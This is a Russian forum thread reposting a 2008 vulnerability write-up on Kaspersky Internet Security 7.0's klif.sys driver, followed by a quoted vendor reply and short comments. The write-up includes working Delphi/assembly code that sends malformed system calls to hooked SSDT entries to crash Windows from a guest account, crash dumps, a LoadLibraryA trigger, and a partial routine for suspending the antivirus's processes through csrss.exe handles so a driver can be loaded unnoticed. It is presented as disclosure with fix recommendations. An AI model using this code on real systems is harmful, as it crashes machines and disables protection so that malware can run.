Список форумов forum.glazov.net forum.glazov.net
Форумы ООО "КРЭЙН"
 
 FAQFAQ   ПоискПоиск   ПользователиПользователи   ГруппыГруппы  ФотоальбомФотоальбом  Видео-каталогСтарый форум   <b><u>Регистрация</u></b>Регистрация 
 ПрофильПрофиль   Войти и проверить личные сообщенияВойти и проверить личные сообщения   ВходВход 

Черные ходы Касперского 6/7

 
Начать новую тему   Ответить на тему    Список форумов forum.glazov.net -> Компьютеры -> Софт
Предыдущая тема :: Следующая тема  
Автор Сообщение
ЯRSoft
Молчаливый
Молчаливый


Репутация: +16    

Пол: Пол:Мужской
Возраст: 47
Зодиак: Телец
Зарегистрирован: 26.12.2007
Сообщения: 65

СообщениеДобавлено: Вт Янв 08, 2008 5:54 am    Заголовок сообщения: Черные ходы Касперского 6/7 Ответить с цитатой

Преамбула

Антивирус Касперского - один из наиболее технически развитых антивирусов на сегодняшний день. Он даже может бороться с некоторыми типами руткитов, даже когда они живы и пытаются атаковать.

Он имеет Модуль Проактивной Защиты (Proactive Defence), представляющий из себя частичную реализацию HIPS, способную, в теории, защитить компьютер от неизвестных угроз, анализируя поведение программ и предотвращая несанкционированные действия.

Это всё теория и рекламные слоганы. В реальности же мы имеем совсем другую ситуацию. Существует много руткитов, которые вообще не обнаруживаются антивирусом, а его проактивная защита может быть подавлена таким образом, что атакующий может загрузить свой драйвер, после чего любая проактивная защита просто бесполезна.

Эта статья - не просто обзор ошибок и уязвимостей - в конце каждой части мы даём рекомендации разработчикам антивируса, потому что мы видим, что они не могут разобраться с этими ошибками самостоятельно. И для приверженцев сразу оговорка: конечно, все, что написано ниже - не критические уязвимости, нет-нет =) Всего лишь несколько простых методов получить BSOD при установленном KAV/KIS даже из под гостевого аккаунта, всего лишь методы обхода KAV/KIS... и так далее, в общем не принимайте слишком близко к сердцу.

Версия Касперского, про который пойдёт речь в этой статье - 7.0, последний публичный билд 125, тип продукта - Internet Security.

Касперский и System Service Descriptor Table

Эта часть антивируса давно известна, как самая уязвимая. Таковой она является из-за того, что содержит множество элементарных ошибок. Ошибки эти - ещё один пример плохо написанной проактивной защиты.

Под Windows XP Антивирус Касперского добавляет службы в таблицу SSDT. Множество служб, которые существуют лишь под Windows 2003. Их номера - от 284 до 296. Около 13 неизвестных записей с адресами внутри klif.sys.

Вот они:

ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BD80 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BD90 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BDA0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BDC0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BDE0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE10 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE20 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE40 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE50 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BF10 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BFE0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809C020 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809C060 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]


Что это? Совершенно непонятно. Однако похоже, что разработчики KAV добавляют их, чтобы решить проблему с разным количеством записей в таблице SSDT под Windows XP и 2003. Почему это было сделано именно так - вопрос третий.

А теперь внимание: любая из этих записей может быть взломана с последующим крахом системы в BSOD даже из под гостевой учётной записи с минимальными привилегиями. Мы написали маленькую программу. Она генерирует некорректные системные вызовы с некорректными параметрами для этих таинственных записей в SSDT. Код очень простой, но эффективный. Выполнение его на чистой Windows не приведёт ни к чем, потому что сама Windows обрабатывает такие ситуации верно.


var
Services: array[0..12] of ULONG;
ThreadTerminated: boolean = false;
ExecThread: THANDLE;

function MakeSysCall(SysCallNumber: integer; const Stack: PDWORD): DWORD; stdcall;
asm
mov eax, SysCallNumber
mov edx, Stack
int 2eh
mov Result,eax
end;

function exec(p1: pointer): DWORD; stdcall;
var
i: integer;
p2: DWORD;
p3: DWORD;
begin
randomize();
u := 0;
for i := 0 to 12 do Services[i] := 284 + i;
while not ThreadTerminated do
begin
p2 := random($FFFFFFFF);
p3 := Services[random(12)];
MakeSysCall(p3, @p2);
Sleep(100);
end;
CloseHandle(ExecThread);
ExecThread := 0;
result := 0;
end;

var
p2: DWORD;
begin
ThreadTerminated := false;
ExecThread := CreateThread(nil, 0, @exec, nil, 0, p2);
end;



Результат выполнения: Kaspersky Internet Security v7.0 125 build


PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e0ae15f9, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f8087e8c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

весь текст bsod...


Но и это еще не всё!
Не смотря на сообщения о существующих уязвимостях в SSDT разработчики Касперского до сих пор не исправили их!
Мы можем доказать это простой программой под названием NTCALL. После старта она начинает генерировать некорректные системные вызовы.

NtCreateSection - вызов этой функции с неверными параметрами приведет к BSOD в klif.sys.
Вот он наш BSOD:


KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003. This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG. This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG. This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 805883ea, The address that the exception occurred at
Arg3: f669a95c, Trap Frame
Arg4: 00000000

Debugging Details:
------------------

ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.

MODULE_NAME: klif

весь текст bsod...


Что тут можно сказать?... Пора прекращать извращаться с SSDT и писать нормальные обработчики для записей SSDT. Возьмите лучше и спросите Олега Зайцева, как правильно устанавливать хуки в SSDT Подмигивает

Касперский и Теневая SSDT (Shadow SSDT)

Теневая SSDT - это специальная таблица в win32k.sys, которая содержит адреса системных функций, связанных с отображением пользовательского графического интерфейса (GDI). Касперский устанавливает здесь хуки на некоторые службы чтобы предотвратить работу клавиатурных шпионов и для самозащиты.

И опять же хуки установлены плохо.

NtUserSendInput с неверными параметрами и ... -> хаха, новый BSOD, вам это не напоминает какой-то BSOD- генератор? =)


PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e1f83004, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f9417eee, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000001, (reserved)

Debugging Details:
------------------

ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.


MODULE_NAME: klif
весь текст bsod...

Для этой части рекомендации просты - запустите свой драйвер под отладчиком.

Следующий код


var
p1: PChar;
begin
p1 := PChar($ffffffff);
LoadLibraryA(p1);
end;


ведёт к Acces Violation и это нормально, потому что мы использовали некорректный параметр для функции, но то что НЕнормально - это где возникает Acess Violation, по адресу - 0xF80B3306.
Это не шутка - 0xF80B3306. В процессах ядра! А если быть точнее - в klif.sys.

Давайте посмотрим, что происходит.

Мы обнаружили сильную модификацию IAT(1, 2) для каждого процесса в системе. Смотрите что происходит с explorer.exe


[420]explorer.exe-->kernel32.dll-->LoadLibraryExA, Type: IAT Modification at address 0x010010A8-->7C882FB0 hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->LoadLibraryExW, Type: IAT Modification at address 0x010010F8-->7C882FD8 hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->LoadLibraryA, Type: IAT Modification at address 0x01001150-->7C882F9C hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->LoadLibraryW, Type: IAT Modification at address 0x010011D0-->7C882FC4 hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->GetProcAddress, Type: IAT Modification at address 0x010011E4-->7C882FEC hook handler located in [kernel32.dll]


Странно, не так ли? Давайте отследим вызов LoadLibraryA.


KERNEL32.LoadLibraryA:

push ebp
mov ebp, esp
nop
pop ebp
jmp +$7b830b4a //- перенаправление в klif.sys
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop


Вот так выглядит LoadLibraryA внутри kernel32.dll после перенаправления IAT Антивирусом Касперского. Разве это не извращение?

Если вы инсталлируете этот антивирус себе на компьютер, вы (какая ирония!) открываете его для дополнительных уязвимостей и бэкдоров, созданных благодаря Антивирусу Касперского! Смех, да и только.

В этой части мы рекомендуем разработчикам Касперского убрать извращения из своего продукта. Во первых существуют лучшие и более простые способы общаться с процессами ядра, а во-вторых - это просто извращение.

Антивирус Касперского и самозащита

Как большинство из вас знает, Антивирус Касперского активно защищает самого себя против атак. Его процессы защищены от несанкционированного доступа и от уничтожения зловредными программами. Но вопрос: насколько хорошо они защищены?

Ответ: ПЛОХО.

Касперский устанавливает несколько хуков в SSDT (т.е. NtOpenProcess, NtOpenThread, NtTerminateProcess и т.д) и несколько хуков в Теневой SSDT (NtUserFindWindowEx, NtUserBuildHwndList и т.д.) чтобы дополнительно защитить себя от атак.

В конце концов он устанавливает себя как службу с настройками перезапуска при возникновении ошибки. Настройки службы защищены в реестре несколькими хуками в SSDT. Так как же мы можем убить этот антивирус? И нужно ли нам его убивать? Если мы убьём визуальную часть avp.exe то она будет заново запущена службой. Если мы убьём службу - она будет запущена менеджером контроля служб (SCM). Так как же мы можем уничтожить этот антивирус (в образовательных целях, конечно)? Вопрос хороший.

Ответ прост - загрузить драйвер, после этого мы будем вне зоны интересов KAV. Но сначала нам нужно его приостановить, чтобы получить такую возможность, не правда ли? Не совсем. Существует как минимум три метода, с помощью которых можно тихо загрузить драйвер без малейшей реакции со стороны Проактивной Защиты Касперского 7.0. И я уверен что существуют еще методы. В нашем случае мы просто приостановим (suspend) все потоки (threads) процессов Антивируса Касперского; просто приостановим, ничего более - этого достаточно.

Мы не можем обращаться к процессам Касперского напрямую, потому что владельцем SSDT является PDM. Так что самое время использовать "любимый" бэкдор-процесс по имени csrss.exe Улыбка

В этом примере мы априори предполагаем что KAV приложение названо avp.exe и csrss.exe существует в одном экземпляре (LOL, да, если у вас есть вредоносные программы, работающие на ring3 и маскирующиеся как csrss.exe, то с этим кодом будут определённые проблемы).


...
pBuffer.dwSize := sizeof(PROCESSENTRY32W);
SnapShotHandle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
...
if (ZwOpenProcess(@ph, PROCESS_ALL_ACCESS, @attr, @cid1) STATUS_SUCCESS) then exit;
...
ZwAllocateVirtualMemory(GetCurrentProcess(), @buf, 0, @bytesIO, MEM_COMMIT, PAGE_READWRITE);
ZwQuerySystemInformation(SystemHandleInformation, buf, 4194304, @bytesIO);
весь текст программы...


После этого оба испольняемых модуля Касперского будут приостановлены и мы можем загрузить драйвера и сделать свою работу тихо =)

Протестировано на KIS v7.0 build 125 с настройками по умолчанию.
Windws XP SP2, права администратора.

Мы рекомендуем ЛК пройти в HANDLE_TABLE и изменить права доступа для хендлеров своих процессов. Плюс самое время улучшить хук на NtDuplicateObject.

Эпилог

Вы наверное сейчас спрашиваете себя, почему такие очевидные ошибки - действительно чёрные ходы до сих пор существуют в одном из самых популярных антивирусов? Да потому что кто-то должен хорошенько дать под зад Лаборатории Касперского.

Не так давно мы опубликовали другой обзор ошибок KAV. Реакция была ожидаема. Они сказали что-то наподобие "Не волнуйтесь, это не критические ошибки". Ну да, возможно Синий экран смерти из под Гостевой учётной записи это не такая уж большая проблема для компании. "Действительно. Че за BSOD вообще? Фигня, расслабьтесь ребята" Улыбка Но что-то меняется - они закрыли несколько опубликованных уязвимостей, так что должны были бы сказать небольшое спасибо нам. Вместо этого мы получаем кучу $@%$&#! в свой адрес (неофициально, конечно). Что ж, мы просто не переживаем по поводу такой реакции, так что не утруждайте себя ребята(фанатики?). Мы не хотим саморекламы и не хотим наблюдать тупейшие BSOD-ы от Касперского.

Дорогие разработчики Лаборатории Касперского, ваш антивирус весьма хорош, об этом спору нет, но возможно пришло время поправить эти баги? Убрать извращения с SSDT/IAT. Тщательнее обработывать критические ситуации в своём драйвере. Нет серьёзно, а что не так? Смотря на klif.sys я вижу только одно - большой, глючный драйвер.

Кстати, в некотором роде неофициальную реакцию от Лаборатории Касперского на наш предыдущий обзор klif.sys вы можете прочитать в этой чудесной статье, которая содержит несколько абсурдных утверждений и не несущих смысла комментариев. В нескольких словах: автор этой статьи частично обвинил нас в публикации информации про уязвимости в их старых и новых продуктах.

http://www.viruslist.ru/analysis?pubid=204007553

Статья на русском, но я уверен вы сможете найти английский вариант.

Have fun,
от VX heavens
EP_X0FF/UG North

rootkit.com




smartov: Цитата из статьи, про которую они говорят в конце

В последние годы чрезвычайно актуальна следующая ситуация. Некто из среды киберпреступников (или «исследователей», прикрывающихся белыми шляпами) разрабатывает концепт кода, обходящего современные средства защиты, и в целях самопиара, замаскированного под заботу о прогрессе, публикует его как «недетектируемый». Подчеркнем: разумеется, на деле такой концепт является не принципиально недетектируемым, а недетектируемым на уровне одно-двухшагового обхода известных функций средств защиты. Сделать такой одношаговый обход достаточно просто, если известны механизмы защиты.

Подобные публикации заставляют беспокоиться определенный процент пользователей, не знакомых с принципами работы вредоносных программ и антивирусов («А защищает ли мое антивирусное средство от этого нового типа угроз?). В такой ситуации производителям средств защиты остается только бросить долю ресурсов на восстановление своего авторитета: на разработку технологий обхода описанного концепта, обычно таких же, как и сам концепт — одношаговых. В итоге авторитет восстанавливается (а как же иначе?), система «вредоносная программа — антивирус — пользователь» приходит в изначальное состояние, и процесс замыкается в цикл. Каждая новая его итерация порождает все более изощренные вредоносные программы и все более тяжеловесные средства защиты.


Как было в КВН: "Отличный план!". Такие себе бяки публикуют уязвимости, а из-за этого бедным-несчастным производителям антивирусов приходится оторваться от стрижки капусты разработки нового улучшенного пользовательского интерфейса и заняться их устранением.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
allgad
Разящий словом
Разящий словом


Репутация: +34/–1    

Пол: Пол:Мужской
Возраст: 47
Зодиак: Водолей
Зарегистрирован: 23.12.2007
Сообщения: 603

СообщениеДобавлено: Вт Янв 08, 2008 3:32 pm    Заголовок сообщения: Ответить с цитатой

Пацтолом Смеется . Аффтар жжот, пешы исчо Смеется
_________________


Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail
Solaris
Адепт слова
Адепт слова


Репутация: +53    

Пол: Пол:Мужской
Возраст: 29
Зодиак: Скорпион
Зарегистрирован: 24.12.2007
Сообщения: 389

СообщениеДобавлено: Вт Янв 08, 2008 4:24 pm    Заголовок сообщения: Ответить с цитатой

аха, а то Касперский не знает о багах и не фиксит их Подмигивает
_________________
Нет, всё не так - я вру себе, и, наверное, другим. Я не думал, что смогу стать таким... © Lumen - Дотянуться до звезды ("Мир" 2009)
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail Посетить сайт автора
Показать сообщения:   
Начать новую тему   Ответить на тему    Список форумов forum.glazov.net -> Компьютеры -> Софт Часовой пояс: GMT + 4
Страница 1 из 1

 
Перейти:  
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете вкладывать файлы
Вы не можете скачивать файлы


Powered by phpBB © 2001, 2005 phpBB Group

Anti Bot Question MOD - phpBB MOD against Spam Bots
Заблокировано регистраций / сообщений: 436986 / 0